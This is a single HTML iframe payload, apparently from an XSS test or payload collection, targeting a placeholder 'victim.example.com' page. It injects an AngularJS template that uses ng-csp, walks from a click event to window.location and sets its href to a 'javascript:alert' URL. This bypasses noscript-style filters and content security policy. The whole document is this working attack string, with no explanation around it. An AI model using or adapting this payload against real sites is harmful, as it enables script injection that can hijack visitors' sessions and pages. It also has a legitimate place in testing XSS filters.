<iframe src='http://victim.example.com/repo/filters/noscript/angular.php?inj=
<div ng-app ng-csp>
  <div ng-click="x=$event" id=f tabindex=0>foo</div>
  <div ng-repeat="(key, value) in x.view">
            <div ng-if=%27key=="window"%27>
              <div ng-repeat="(key1, value1) in value">
                <div ng-if=%27key1=="location"%27>
                  <div ng-repeat="(key2, value2) in value">
                    <div ng-if=%27key2=="name"%27>
                <div fo="{{value1.href=value2}}"></div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
  </div>
</div>#f' name="javascript:alert`1`"></iframe>
